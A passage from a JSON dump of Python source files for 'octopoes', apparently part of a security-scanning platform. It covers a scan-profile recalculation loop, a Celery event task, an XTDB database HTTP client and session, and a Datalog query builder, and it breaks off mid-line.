    "content": "import time\nimport timeit\nfrom datetime import datetime, timezone\nfrom logging import config\nfrom pathlib import Path\n\nimport structlog\nimport yaml\nfrom httpx import HTTPError\n\nfrom octopoes.config.settings import Settings\nfrom octopoes.connector.katalogus import KATalogusClient\nfrom octopoes.core.app import get_octopoes\n\nsettings = Settings()\nlogger = structlog.get_logger(__name__)\n\ntry:\n    with Path(settings.log_cfg).open() as log_config:\n        config.dictConfig(yaml.safe_load(log_config))\n        logger.info(\"Configured loggers with config: %s\", settings.log_cfg)\nexcept FileNotFoundError:\n    logger.warning(\"No log config found at: %s\", settings.log_cfg)\n\nstructlog.configure(\n    processors=[\n        structlog.contextvars.merge_contextvars,\n        structlog.processors.add_log_level,\n        structlog.processors.StackInfoRenderer(),\n        structlog.dev.set_exc_info,\n        structlog.stdlib.PositionalArgumentsFormatter(),\n        structlog.processors.TimeStamper(\"iso\", utc=False),\n        (\n            structlog.dev.ConsoleRenderer(colors=True, pad_level=False)\n            if settings.logging_format == \"text\"\n            else structlog.processors.JSONRenderer()\n        ),\n    ],\n    context_class=dict,\n    logger_factory=structlog.stdlib.LoggerFactory(),\n    wrapper_class=structlog.stdlib.BoundLogger,\n    cache_logger_on_first_use=True,\n)\n\n\ndef scan_profile_recalculations(katalogusclient: KATalogusClient, octopii: dict) -> None:\n    try:\n        orgs = katalogusclient.get_organisations()\n    except HTTPError:\n        logger.exception(\"Failed getting organizations from KATalogus\")\n        raise\n    for org in orgs:\n        if org not in octopii:\n            octopii[org] = {\"octopoes\": get_octopoes(org), \"last_transaction\": 0, \"org\": org}\n        last_transaction = recalculate_scan_profiles_for_org(octopii[org])\n        if last_transaction:\n            # there's a possible race condition in here, where we dont\n            # notice updates unrelated to our scan_profiles change,\n            # ideally we'd trigger another loop in 60s because of those,\n            # but since we have no database lock we assume we are the only one\n            # writing transactions during our scan_profile calculation\n            # if not, they will be picked up with the next batch of changes\n            # anyway.\n            octopii[org][\"last_transaction\"] = last_transaction\n\n\ndef recalculate_scan_profiles_for_org(recalc_org: dict) -> int | None:\n    timer = timeit.default_timer()\n    max_id = recalc_org[\"octopoes\"].session.client.latest_completed_tx()\n    if max_id and recalc_org[\"last_transaction\"] == max_id[\"txId\"]:\n        logger.debug(\n            \"skipping scan profile recalculation task, no new transactions present, last transaction: %i [org=%s]\",\n            max_id[\"txId\"],\n            recalc_org[\"org\"],\n        )\n        return None\n    elif max_id:\n        logger.debug(\n            \"Most recent worked transactions %i, most recent %i [org=%s]\",\n            recalc_org[\"last_transaction\"],\n            max_id[\"txId\"],\n            recalc_org[\"org\"],\n        )\n\n    try:\n        recalc_org[\"octopoes\"].recalculate_scan_profiles(datetime.now(timezone.utc))\n        transactions = recalc_org[\"octopoes\"].session.commit()\n        duration = timeit.default_timer() - timer\n        max_id = recalc_org[\"octopoes\"].session.client.latest_completed_tx()\n        if max_id:\n            # return the max_id after this update. So we dont trigger a likely empty loop\n            # just because we changed some scanprofiles this loop.\n            logger.info(\n                \"\"\"Finished scan profile recalculation on %i unproccessed transactions,\n                with resulting transactioncount: %i [org=%s] [dur=%.2fs]\"\"\",\n                (max_id[\"txId\"] - recalc_org[\"last_transaction\"]),\n                transactions,\n                recalc_org[\"org\"],\n                duration,\n            )\n            return max_id[\"txId\"]\n        else:\n            # last_transaction should always increment,\n            # but None is technically a possible return value\n            return 0\n    except Exception:\n        logger.exception(\n            \"Failed recalculating scan profiles [org=%s] [dur=%.2fs]\", recalc_org[\"org\"], timeit.default_timer() - timer\n        )\n    return None\n\n\ndef main():\n    logger.info(\"Scan profile recalculation process started.\")\n    katalogusclient = KATalogusClient(str(settings.katalogus_api))\n    octopii: dict[str, dict] = {}\n    while True:\n        scan_profile_recalculations(katalogusclient, octopii)\n        time.sleep(settings.scan_level_recalculation_interval)\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "octopoes/octopoes/tasks/tasks.py",
    "content": "from logging import config\nfrom pathlib import Path\n\nimport structlog\nimport yaml\nfrom pydantic import TypeAdapter\n\nfrom octopoes.config.settings import QUEUE_NAME_OCTOPOES, Settings\nfrom octopoes.core.app import get_octopoes\nfrom octopoes.events.events import DBEvent, DBEventType\nfrom octopoes.tasks.app import app\n\nsettings = Settings()\nlogger = structlog.get_logger(__name__)\n\ntry:\n    with Path(settings.log_cfg).open() as log_config:\n        config.dictConfig(yaml.safe_load(log_config))\n        logger.info(\"Configured loggers with config: %s\", settings.log_cfg)\nexcept FileNotFoundError:\n    logger.warning(\"No log config found at: %s\", settings.log_cfg)\n\nstructlog.configure(\n    processors=[\n        structlog.contextvars.merge_contextvars,\n        structlog.processors.add_log_level,\n        structlog.processors.StackInfoRenderer(),\n        structlog.dev.set_exc_info,\n        structlog.stdlib.PositionalArgumentsFormatter(),\n        structlog.processors.TimeStamper(\"iso\", utc=False),\n        (\n            structlog.dev.ConsoleRenderer(\n                colors=True, pad_level=False, exception_formatter=structlog.dev.plain_traceback\n            )\n            if settings.logging_format == \"text\"\n            else structlog.processors.JSONRenderer()\n        ),\n    ],\n    context_class=dict,\n    logger_factory=structlog.stdlib.LoggerFactory(),\n    wrapper_class=structlog.stdlib.BoundLogger,\n    cache_logger_on_first_use=True,\n)\n\n\n@app.task(queue=QUEUE_NAME_OCTOPOES, ignore_result=True)\ndef handle_event(event: dict) -> None:\n    try:\n        parsed_event: DBEvent = TypeAdapter(DBEventType).validate_python(event)\n        octopoes = get_octopoes(parsed_event.client)\n        octopoes.process_event(parsed_event)\n        octopoes.commit()\n    except Exception:\n        logger.exception(\"Failed to handle event: %s\", event)\n        raise\n"
  },
  {
    "path": "octopoes/octopoes/types.py",
    "content": "# Event codes for certain actions\nOBSERVATION_CREATED = 100101\nDECLARATION_CREATED = 100201\nAFFIRMATION_CREATED = 100301\nORIGIN_DELETED = 100403\nOBJECT_DELETED = 100503\n"
  },
  {
    "path": "octopoes/octopoes/version.py",
    "content": "from importlib.metadata import PackageNotFoundError, version\n\ntry:\n    __version__ = version(\"octopoes\")\nexcept PackageNotFoundError:\n    # package is not installed\n    __version__ = \"0.0.1.dev1\"\n"
  },
  {
    "path": "octopoes/octopoes/xtdb/__init__.py",
    "content": "from __future__ import annotations\n\nfrom enum import Enum\n\nfrom pydantic import BaseModel\n\n# E.g. {'IPPort': {'address': ['IPAddressV6', 'IPAddressV4'] }, ...}\nDataModel = dict[str, dict[str, set[str]]]\n\n\nclass FieldSet(Enum):\n    ONLY_ID = 0\n    ALL_FIELDS = 1\n\n\nclass ForeignKey(BaseModel):\n    source_entity: str\n    attr_name: str\n    related_entities: set[str]\n    reverse_name: str\n\n\nclass Datamodel(BaseModel):\n    entities: dict[str, list[ForeignKey]]\n"
  },
  {
    "path": "octopoes/octopoes/xtdb/client.py",
    "content": "import functools\nfrom collections.abc import Callable\nfrom datetime import datetime, timezone\nfrom enum import Enum\nfrom json import JSONDecodeError\nfrom typing import Any\n\nimport httpx\nimport structlog\nfrom httpx import HTTPError, HTTPStatusError, Response, codes\nfrom pydantic import BaseModel, ConfigDict, Field, JsonValue, TypeAdapter\n\nfrom octopoes.config.settings import Settings\nfrom octopoes.models.transaction import TransactionRecord\nfrom octopoes.xtdb.exceptions import NodeNotFound, XTDBException\nfrom octopoes.xtdb.query import Query\n\nlogger = structlog.get_logger(__name__)\nsettings = Settings()\n\n\nclass OperationType(Enum):\n    PUT = \"put\"\n    DELETE = \"delete\"\n    MATCH = \"match\"\n    EVICT = \"evict\"\n    FN = \"fn\"\n\n\nOperation = tuple[OperationType, str | dict[str, Any], datetime | None]\n\n\nclass Transaction(BaseModel):\n    operations: list[Operation] = Field(alias=\"tx-ops\")\n    model_config = ConfigDict(populate_by_name=True)\n\n\nclass XTDBStatus(BaseModel):\n    version: str | None = None\n    revision: str | None = None\n    indexVersion: int | None = None\n    consumerState: str | None = None\n    kvStore: str | None = None\n    estimateNumKeys: int | None = None\n    size: int | None = None\n\n\n@functools.cache\ndef _get_xtdb_http_session(base_url: str) -> httpx.Client:\n    return httpx.Client(\n        base_url=base_url,\n        headers={\"Accept\": \"application/json\"},\n        transport=httpx.HTTPTransport(retries=3),\n        timeout=settings.outgoing_request_timeout,\n    )\n\n\nclass XTDBHTTPClient:\n    def __init__(self, base_url: str, node: str | None):\n        self.node = node\n        self._session = _get_xtdb_http_session(base_url)\n\n    @staticmethod\n    def _verify_response(response: Response) -> None:\n        try:\n            response.raise_for_status()\n        except HTTPStatusError as e:\n            try:\n                if response.json()[\"error\"] == \"Node not found\":\n                    raise NodeNotFound() from e\n            except (KeyError, JSONDecodeError):\n                pass\n            raise e\n\n    @property\n    def node_url(self) -> str:\n        if not self.node:\n            raise ValueError(\"Node not selected, cannot construct URL.\")\n        return f\"/{self.node}\"\n\n    def status(self) -> XTDBStatus:\n        res = self._session.get(f\"{self.node_url}/status\")\n\n        self._verify_response(res)\n        return XTDBStatus.model_validate_json(res.content)\n\n    def get_entity(self, entity_id: str, valid_time: datetime | None = None) -> dict:\n        if valid_time is None:\n            valid_time = datetime.now(timezone.utc)\n        res = self._session.get(\n            f\"{self.node_url}/entity\", params={\"eid\": entity_id, \"valid-time\": valid_time.isoformat()}\n        )\n\n        self._verify_response(res)\n        return res.json()\n\n    def get_entity_history(\n        self,\n        entity_id: str,\n        *,\n        sort_order: str = \"asc\",  # Or: \"desc\"\n        with_docs: bool = False,\n        has_doc: bool | None = None,\n        offset: int = 0,\n        limit: int | None = None,\n        indices: list[int] | None = None,\n    ) -> list[TransactionRecord]:\n        params = {\n            \"eid\": entity_id,\n            \"sort-order\": sort_order,\n            \"history\": \"true\",\n            \"with-docs\": \"true\" if with_docs else \"false\",\n        }\n\n        res = self._session.get(f\"{self.node_url}/entity\", params=params)\n        self._verify_response(res)\n        transactions: list[TransactionRecord] = TypeAdapter(list[TransactionRecord]).validate_json(res.content)\n\n        if has_doc is True:  # The doc is None if and only if the hash is  \"0000000000000000000000000000000000000000\"\n            transactions = [transaction for transaction in transactions if transaction.content_hash != 40 * \"0\"]\n\n        if has_doc is False:  # The doc is None if and only if the hash is  \"0000000000000000000000000000000000000000\"\n            transactions = [transaction for transaction in transactions if transaction.content_hash == 40 * \"0\"]\n\n        if indices:\n            return [tx for i, tx in enumerate(transactions) if i in indices or i - len(transactions) in indices]\n\n        if limit:\n            return transactions[offset : offset + limit]\n\n        if offset:\n            return transactions[offset:]\n\n        return transactions\n\n    def query(self, query: str | Query, valid_time: datetime | None = None) -> list[list[Any]]:\n        if valid_time is None:\n            valid_time = datetime.now(timezone.utc)\n        res = self._session.post(\n            f\"{self.node_url}/query\",\n            params={\"valid-time\": valid_time.isoformat()},\n            content=\" \".join(str(query).split()),\n            headers={\"Content-Type\": \"application/edn\"},\n        )\n        self._verify_response(res)\n        return res.json()\n\n    def await_transaction(self, transaction_id: int) -> None:\n        self._session.get(f\"{self.node_url}/await-tx\", params={\"txId\": transaction_id})\n        logger.info(\"Transaction completed [txId=%s]\", transaction_id)\n\n    def submit_transaction(self, operations: list[Operation]) -> None:\n        res = self._session.post(\n            f\"{self.node_url}/submit-tx\", json=Transaction(operations=operations).model_dump(by_alias=True, mode=\"json\")\n        )\n\n        self._verify_response(res)\n        self.await_transaction(res.json()[\"txId\"])\n\n    def list_nodes(self) -> list[str]:\n        res = self._session.get(\"/list-nodes\")\n        self._verify_response(res)\n        return res.json()[\"nodes\"]\n\n    def create_node(self) -> None:\n        try:\n            res = self._session.post(\"/create-node\", json={\"node\": self.node})\n            self._verify_response(res)\n        except HTTPError as e:\n            logger.exception(\"Failed creating node %s\", self._session.base_url)\n            raise XTDBException(\"Could not create node\") from e\n\n    def delete_node(self) -> None:\n        try:\n            res = self._session.post(\"/delete-node\", json={\"node\": self.node})\n            self._verify_response(res)\n        except HTTPError as e:\n            if isinstance(e, HTTPStatusError) and e.response.status_code == codes.NOT_FOUND:\n                raise NodeNotFound from e\n\n            logger.exception(\"Failed deleting node\")\n\n            raise XTDBException(\"Could not delete node\") from e\n\n    def export_transactions(self):\n        res = self._session.get(f\"{self.node_url}/tx-log?with-ops?=true\", headers={\"Accept\": \"application/json\"})\n        self._verify_response(res)\n        return res.json()\n\n    def sync(self, timeout: int | None = None) -> Any:\n        params = {}\n\n        if timeout is not None:\n            params[\"timeout\"] = timeout\n\n        res = self._session.get(f\"{self.node_url}/sync\", params=params)\n        self._verify_response(res)\n\n        return res.json()\n\n    def latest_completed_tx(self) -> JsonValue:\n        res = self._session.get(f\"{self.node_url}/latest-completed-tx\")\n        self._verify_response(res)\n        return res.json()\n\n\nclass XTDBSession:\n    def __init__(self, client: XTDBHTTPClient):\n        self.client = client\n\n        self._operations: list[Operation] = []\n        self.post_commit_callbacks: list[Callable[[], None]] = []\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, _exc_type: type[Exception], _exc_value: str, _exc_traceback: str) -> None:\n        self.commit()\n\n    def add(self, operation: Operation) -> None:\n        self._operations.append(operation)\n\n    def put(self, document: str | dict[str, Any], valid_time: datetime) -> None:\n        self.add((OperationType.PUT, document, valid_time))\n\n    def commit(self, sync: bool = False) -> int:\n        \"\"\"commits all pending operations to the database,\n        and optionally call sync to wait for processing to finish\n        and returns the amount of processed operations.\"\"\"\n        if not self._operations:\n            self.reset()\n            return 0\n\n        count = len(self._operations)\n        logger.debug(\"Committing XTDBSession with %i transactions\", count, operations=self._operations)\n        self.client.submit_transaction(self._operations)\n\n        if self.post_commit_callbacks:\n            for callback in self.post_commit_callbacks:\n                callback()\n            logger.info(\n                \"Called %i callbacks after committing XTDBSession with %i transactions\",\n                len(self.post_commit_callbacks),\n                count,\n            )\n        self.reset()\n\n        if sync:\n            self.client.sync()\n        return count\n\n    def reset(self) -> None:\n        \"\"\"Resets the session, and removes all operations and callbacks.\"\"\"\n        self._operations = []\n        self.post_commit_callbacks = []\n\n    def sync(self) -> None:\n        logger.info(\"Called Sync on XTDB client, waiting for database to complete transactions.\")\n        self.client.sync()\n\n    def listen_post_commit(self, callback: Callable[[], None]) -> None:\n        \"\"\"Registers a callback on the session, which will be called after the\n        session is committed.\"\"\"\n        self.post_commit_callbacks.append(callback)\n"
  },
  {
    "path": "octopoes/octopoes/xtdb/exceptions.py",
    "content": "class XTDBException(Exception):\n    \"\"\"Base exception for XTDB errors.\"\"\"\n\n\nclass NodeNotFound(XTDBException):\n    \"\"\"The XTDB node was not found\"\"\"\n\n\nclass ObjectNotFound(XTDBException):\n    \"\"\"The XTDB object was not found\"\"\"\n"
  },
  {
    "path": "octopoes/octopoes/xtdb/query.py",
    "content": "from __future__ import annotations\n\nfrom collections.abc import Iterable\nfrom dataclasses import dataclass, field, replace\nfrom uuid import UUID, uuid4\n\nfrom octopoes.models import OOI\nfrom octopoes.models.path import Direction, Path\nfrom octopoes.models.types import get_abstract_types, to_concrete\n\n\nclass InvalidField(ValueError):\n    pass\n\n\nclass InvalidPath(ValueError):\n    pass\n\n\n@dataclass(frozen=True)\nclass Aliased:\n    \"\"\"OOI type wrapper to have control over the query alias used per type. This is necessary to traverse the same\n    OOI type more than once, since by default we have that\n        >>> Query(DNSAAAARecord)\n        >>>     .where(DNSAAAARecord, hostname=Hostname)\n        >>>     .where(Hostname, primary_key=\"Hostname|internet|test.com\")\n        >>>     .where(DNSNSRecord, hostname=Hostname)\n        >>>     .where(DNSNSRecord, name_server_hostname=Hostname)\n    needs the same Hostname to be both the DNSNSRecord.hostname and the DNSNSRecord.name_server_hostname.\n\n    But if we use\n        >>> hostname = Aliased(Hostname)\n        >>> Query(DNSAAAARecord)\n        >>>     .where(DNSAAAARecord, hostname=hostname)\n        >>>     .where(DNSNSRecord, name_server_hostname=hostname)\n        >>>     .where(DNSNSRecord, hostname=Hostname)\n        >>>     .where(Hostname, primary_key=\"Hostname|internet|test.com\")\n    we will get the DNSAAAARecords of the Hostname of the name server of \"test.com\".\n    \"\"\"\n\n    type: type[OOI] = OOI  # Represents a generic lookup on all OOIs\n\n    # The lambda makes it possible to mock the factory more easily, see:\n    # https://stackoverflow.com/questions/61257658/python-dataclasses-mocking-the-default-factory-in-a-frozen-dataclass\n    alias: UUID = field(default_factory=lambda: uuid4())\n\n    # Sometimes an Alias refers to a plain field, not a whole model. The current solution is suboptimal\n    # as you can use aliases freely in Datalog but are now tied to the OOI types too much. TODO!\n    field: str | None = field(default=None)\n\n\nRef = type[OOI] | Aliased\n\n\n@dataclass(frozen=True)\nclass Query:\n    \"\"\"Object representing an XTDB query.\n\n        result_type: The OOI Type being queried: executing the query should yield only this OOI Type.\n\n    Example usage:\n\n    >>> query = Query(Network).where(Network, name=\"test\")\n    >>> query = query.where(Finding, ooi=Network)\n    >>> query.format()\n    '\n    {:query {:find [(pull Network [*])] :where [\n        [ Network :Network/name \"test\" ]\n        [ Finding :Finding/ooi Network ]\n    ]}}\n    '\n    \"\"\"\n\n    result_type: Ref = OOI\n\n    _where_clauses: list[str] = field(default_factory=list)\n    _find_clauses: list[str] = field(default_factory=list)\n    _limit: int | None = None\n    _offset: int | None = None\n    _order_by: tuple[Aliased, bool] | None = None\n\n    def where(self, ooi_type: Ref, **kwargs) -> Query:\n        new = self._copy()\n\n        for field_name, value in kwargs.items():\n            new._where_field_is(ooi_type, field_name, value)\n\n        return new\n\n    def where_in(self, ooi_type: Ref, **kwargs: Iterable[str]) -> Query:\n        \"\"\"Allows for filtering on multiple values for a specific field.\"\"\"\n        new = self._copy()\n\n        for field_name, values in kwargs.items():\n            new._where_field_in(ooi_type, field_name, values)\n\n        return new\n\n    def format(self) -> str:\n        new = self._copy()\n\n        return new._compile(separator=\"\\n    \")\n\n    @classmethod\n    def from_path(cls, path: Path) -> Query:\n        \"\"\"\n        Create a query from a Path.\n\n        The last segment in the path is assumed to be the queries OOI Type. Because paths often describe type traversal,\n        we assume that every time we get a duplicate type, we have to alias it, except the target type.\n\n        If the last segment is not an OOI Type, the result of the query changes to the value of that specific field\n        instead of returning the complete OOIs for the last type.\n        \"\"\"\n\n        ooi_type = (\n            path.segments[-1].target_type\n            if path.segments[-1].target_type is not None\n            else path.segments[-1].source_type\n        )\n\n        query = cls(ooi_type)\n        target_ref: Ref = path.segments[0].source_type\n        alias_map: dict[str, Ref] = {}\n\n        if not path.segments:\n            return query\n\n        for segment in path.segments:\n            source_ref = alias_map.get(segment.source_type.get_object_type(), segment.source_type)\n\n            if segment.source_type.get_object_type() not in alias_map:  # Only happens on the first segment\n                alias_map[segment.source_type.get_object_type()] = source_ref\n\n            if segment.target_type is None:\n                # The last segment is a regular field, so we query for that field value\n                field_alias = Aliased(ooi_type, field=segment.property_name)\n                query = query.where(source_ref, **{segment.property_name: field_alias}).find(field_alias)\n                break\n\n            if segment.target_type.get_object_type() not in alias_map:\n                target_ref = segment.target_type\n                alias_map[segment.target_type.get_object_type()] = target_ref\n            else:\n                target_ref = Aliased(segment.target_type)\n                alias_map[segment.target_type.get_object_type()] = target_ref\n\n            if segment.direction is Direction.OUTGOING:\n                query = query.where(source_ref, **{segment.property_name: target_ref})\n            else:\n                query = query.where(target_ref, **{segment.property_name: source_ref})\n\n        # Make sure we use the last reference in the path as a target\n        query = replace(query, result_type=target_ref)\n\n        return query\n\n    def pull(self, ooi_type: Ref, *, fields: str = \"[*]\") -> Query:\n        \"\"\"By default, we pull the target type. But when using find, count, etc., you have to pull explicitly.\"\"\"\n        new = self._copy()\n\n        new._find_clauses.append(f\"(pull {new._get_object_alias(ooi_type)} {fields})\")\n\n        return new\n\n    def find(self, item: Ref, *, index: int | None = None) -> Query:\n        \"\"\"Add a find clause, so we can select specific fields in a query to be returned as well.\"\"\"\n        if index is None:\n            return replace(self, _find_clauses=self._find_clauses + [self._get_object_alias(item)])\n        else:\n            find_clauses = self._find_clauses\n            find_clauses.insert(index, self._get_object_alias(item))\n            return replace(self, _find_clauses=find_clauses)\n\n    def count(self, ooi_type: Ref | None = None) -> Query:\n        if ooi_type:\n            return replace(self, _find_clauses=self._find_clauses + [f\"(count {self._get_object_alias(ooi_type)})\"])\n        else:\n            return replace(\n                self, _find_clauses=self._find_clauses + [f\"(count {self._get_object_alias(self.result_type)})\"]\n            )\n\n    def limit(self, limit: int) -> Query:\n        return replace(self, _limit=limit)\n\n    def offset(self, offset: int) -> Query:\n        return replace(self, _offset=offset)\n\n    def order_by(self, ref: Aliased, ascending: bool = True) -> Query:\n        return replace(self, _order_by=(ref, ascending))\n\n    def _copy(self) -> Query:\n        return replace(self)\n\n    def _where_field_is(self, ref: Ref, field_name: str, value: Ref | str | set[str] | bool) -> None:\n        \"\"\"\n        We need isinstance(value, type) checks to verify value is an OOIType, as issubclass() fails on non-classes:\n\n            >>> value = Network\n            >>> isinstance(value, OOIType)\n            False\n            >>> isinstance(value, OOI)\n            False\n            >>> isinstance(value, type)\n            True\n            >>> issubclass(value, OOI)\n            True\n            >>> issubclass(3, OOI)\n            Traceback (most recent call last):\n              [...]\n            TypeError: issubclass() arg 1 must be a class\n        \"\"\"\n        ooi_type = ref.type if isinstance(ref, Aliased) else ref\n        abstract_types = get_abstract_types()\n\n        if (\n            field_name not in ooi_type.model_fields\n            and field_name != \"id\"\n            and (\n                ooi_type not in abstract_types\n                or not any(field_name in concrete_type.model_fields for concrete_type in ooi_type.strict_subclasses())\n            )\n        ):\n            raise InvalidField(f'\"{field_name}\" is not a field of {ooi_type.get_object_type()}')\n\n        if isinstance(value, str):\n            value = value.replace(\"\\\\\", \"\\\\\\\\\")\n            value = value.replace('\"', r\"\\\"\")\n\n        if ooi_type in abstract_types and ooi_type != OOI:\n            if isinstance(value, str):\n                self._add_or_statement_for_abstract_types(ref, field_name, f'\"{value}\"')\n                return\n\n            if isinstance(value, bool):\n                self._add_or_statement_for_abstract_types(ref, field_name, str(value).lower())\n                return\n\n            if not isinstance(value, type | Aliased):\n                raise InvalidField(f\"value '{value}' for abstract class fields should be a string or an OOI Type\")\n\n            if isinstance(value, Aliased) or issubclass(value, OOI):\n                self._add_or_statement_for_abstract_types(ref, field_name, self._get_object_alias(value))\n                return\n\n        if isinstance(value, str):\n            self._add_where_statement(ref, field_name, f'\"{value}\"')\n            return\n\n        if isinstance(value, bool):\n            self._add_where_statement(ref, field_name, str(value).lower())\n            return\n\n        if not isinstance(value, type | Aliased):\n            raise InvalidField(f\"value '{value}' should be a string or an OOI Type\")\n\n        if not isinstance(value, Aliased) and not issubclass(value, OOI):\n            raise InvalidField(f\"{value} is not an OOI\")\n\n        self._add_where_statement(ref, field_name, self._get_object_alias(value))\n\n    def _where_field_in(self, ref: Ref, field_name: str, values: Iterable[str]) -> None:\n        ooi_type = ref.type if isinstance(ref, Aliased) else ref\n\n        if field_name not in ooi_type.model_fields and field_name != \"id\":\n            raise InvalidField(f'\"{field_name}\" is not a field of {ooi_type.get_object_type()}')\n\n        new_values = []\n        for value in values:\n            if not isinstance(value, str):\n                raise InvalidField(\"Only strings allowed as values for a WHERE IN statement for now.\")\n\n            value = value.replace(\"\\\\\", \"\\\\\\\\\")\n            value = value.replace('\"', r\"\\\"\")\n            new_values.append(f'\"{value}\"')\n\n        if ooi_type in get_abstract_types() and ooi_type != OOI:\n            types_to_check = ooi_type.strict_subclasses()\n        else:\n            types_to_check = [ooi_type]\n\n        self._where_clauses.append(\n            self._or_statement_for_multiple_values(self._get_object_alias(ref), types_to_check, field_name, new_values)\n        )\n\n    def _add_where_statement(self, ref: Ref, field_name: str, to_alias: str) -> None:\n        ooi_type = ref.type if isinstance(ref, Aliased) else ref\n\n        if ooi_type != OOI:\n            self._where_clauses.append(self._assert_type(ref, ooi_type))\n\n        if field_name == \"id\":\n            self._where_clauses.append(self._relationship(self._get_object_alias(ref), \"xt\", field_name, to_alias))\n        else:\n            self._where_clauses.append(\n                self._relationship(self._get_object_alias(ref), ooi_type.get_object_type(), field_name, to_alias)\n            )\n\n    def _add_or_statement_for_abstract_types(self, ref: Ref, field_name: str, to_alias: str) -> None:\n        ooi_type = ref.type if isinstance(ref, Aliased) else ref\n\n        if ooi_type != OOI:\n            self._where_clauses.append(self._assert_type(ref, ooi_type))\n        self._where_clauses.append(\n            self._or_statement_for_abstract_types(\n                self._get_object_alias(ref), ooi_type.strict_subclasses(), field_name, to_alias\n            )\n        )\n\n    def _or_statement_for_abstract_types(\n        self, from_alias: str, concrete_types: list[type[OOI]], field_name: str, to_alias: str\n    ) -> str:\n        relationships = [\n            self._relationship(from_alias, concrete_type.get_object_type(), field_name, to_alias)\n            for concrete_type in concrete_types\n        ]\n\n        return f\"(or {' '.join(relationships)} )\"\n\n    def _or_statement_for_multiple_values(\n        self, from_alias: str, ooi_types: list[type[OOI]], field_name: str, to_aliases: list[str]\n    ) -> str:\n        if field_name == \"id\":  # Generic field for XTDB entities. TODO: refactor\n            relationships = [self._relationship(from_alias, \"xt\", \"id\", to_alias) for to_alias in to_aliases]\n        else:\n            relationships = [\n                self._relationship(from_alias, ooi_type.get_object_type(), field_name, to_alias)\n                for to_alias in to_aliases\n                for ooi_type in ooi_types\n            ]\n\n        return f\"(or {' '.join(relationships)} )\"\n\n    def _relationship(self, from_alias: str, field_type: str, field_name: str, to_alias: str) -> str:\n        return f\"[ {from_alias} :{field_type}/{field_name} {to_alias} ]\"\n\n    def _assert_type(self, ref: Ref, ooi_type: type[OOI]) -> str:\n        if ooi_type not in get_abstract_types():\n            return self._to_object_type_statement(ref, ooi_type)\n\n        concrete = sorted(to_concrete({ooi_type}), key=lambda t: t.__name__)\n        return f\"(or {' '.join([self._to_object_type_statement(ref, x) for x in concrete])} )\"\n\n    def _to_object_type_statement(self, ref: Ref, other_type: type[OOI]) -> str:\n        return f'[ {self._get_object_alias(ref)} :object_type \"{other_type.get_object_type()}\" ]'\n\n    def _compile_where_clauses(self, *, separator: str = \" \") -> str:\n        \"\"\"Sorted and deduplicated where clauses, since they are both idempotent and commutative\"\"\"\n\n        return separator + separator.join(sorted(set(self._where_clauses)))\n\n    def _compile_find_clauses(self) -> str:\n        return \" \".join(self._find_clauses)\n\n    def _compile(self, *, separator: str = \" \") -> str:\n        result_ooi_type = self.result_type.type if isinstance(self.result_type, Aliased) else self.result_type\n\n        if result_ooi_type != OOI:\n            self._where_clauses.append(self._assert_type(self.result_type, result_ooi_type))\n\n        if not self._find_clauses:\n            new = replace(\n                self, _find_clauses=self._find_clauses + [f\"(pull {self._get_object_alias(self.result_type)} [*])\"]\n            )\n        else:\n            new = self\n\n        where_clauses = new._compile_where_clauses(separator=separator)\n        find_clauses = new._compile_find_clauses()\n        compiled = f\"{{:query {{:find [{find_clauses}] :where [{where_clauses}]\"\n\n        if new._order_by is not None:\n            asc_desc = \":asc\" if new._order_by[1] else \":desc\"\n            compiled += f\" :order-by [[{new._get_object_alias(new._order_by[0])} {asc_desc}]]\"\n\n        if new._limit is not None:\n            compiled += f\" :limit {new._limit}\"\n\n        if new._offset is not None:\n            compiled += f\" :offset {new._offset}\"\n\n        return compiled + \"}}\"\n\n    def _get_object_alias(self, object_type: Ref) -> str:\n        if isinstance(object_type, Aliased):\n            base = \"?\" + str(object_type.alias)\n\n            # To have at least a way to separate aliases for types and plain fields in the raw query\n            return base if not object_type.field else base + \"?\" + object_type.field\n\n        return object_type.get_object_type()\n\n    def __str__(self) -> str:\n        return self._compile()\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, Query):\n            return NotImplemented\n\n        return str(self) == str(other)\n"
  },
  {
    "path": "octopoes/octopoes/xtdb/query_builder.py",
    "content": "import re\nfrom collections.abc import Iterable, Mapping\nfrom typing import Any\n\nfrom octopoes.xtdb import FieldSet\nfrom octopoes.xtdb.related_field_generator import RelatedFieldNode\n\n\ndef join_csv(values: Iterable[Any]) -> str:\n    return \" \".join(values)\n\n\ndef str_val(val):\n    if isinstance(val, str):\n        val = edn_escape(val)\n        return f'\"{val}\"'\n    return val\n\n\ndef edn_escape(s: str) -> str:\n    return (\n        s.replace(\"\\\\\", \"\\\\\\\\\")\n        .replace('\"', '\\\\\"')\n        .replace(\"\\n\", \"\\\\n\")\n        .replace(\"\\r\", \"\\\\r\")\n        .replace(\"\\t\", \"\\\\t\")\n        .replace(\"\\b\", \"\\\\b\")\n        .replace(\"\\f\", \"\\\\f\")\n    )\n\n\ndef generate_pull_query(\n    field_set: FieldSet = FieldSet.ALL_FIELDS,\n    where: Mapping[str, str | int | list[str] | list[int] | set[str] | set[int]] | None = None,\n    offset: int | None = None,\n    limit: int | None = None,\n    field_node: RelatedFieldNode | None = None,\n) -> str:\n    pk_prefix = \":xt/id\"\n\n    in_params = []\n    in_args = []\n    where_mapping = {}\n    # Where default\n    if where is None:\n        where = {}\n    # Break where clause in relevant sections\n    for key, value in where.items():\n        var_name = re.sub(\"[^0-9a-zA-Z]+\", \"_\", key)\n        if isinstance(value, list | set):\n            value = sorted([str_val(value) for value in value])\n            _csv = join_csv(value)\n            in_args.append(f\"[{_csv}]\")\n            in_params.append(f\"[_{var_name} ...]\")\n        else:\n            in_args.append(str_val(value))\n            in_params.append(f\"_{var_name}\")\n        where_mapping[key] = f\"_{var_name}\"\n\n    # Fields default\n    if field_node is not None:\n        q_fields = field_node.generate_field(field_set, pk_prefix)\n    else:\n        q_fields = pk_prefix if field_set is FieldSet.ONLY_ID else \"*\"\n        q_fields = f\"[{q_fields}]\"\n    q_fields = f\"[(pull ?e {q_fields})]\"\n\n    q_limit = \"\"\n    if limit is not None:\n        q_limit = f\":limit {limit}\" if limit is not None else \"\"\n\n    q_offset = \"\"\n    if offset is not None:\n        q_offset = f\":offset {offset}\" if offset is not None else \"\"\n\n    q_in = \"\"\n    if in_params:\n        q_in = f\":in [{' '.join(in_params)}]\"\n\n    if not where_mapping:\n        where_mapping = {pk_prefix: \"\"}\n    where_clauses = [f\"[?e :{key} {val}]\" for key, val in where_mapping.items()]\n    q_where = 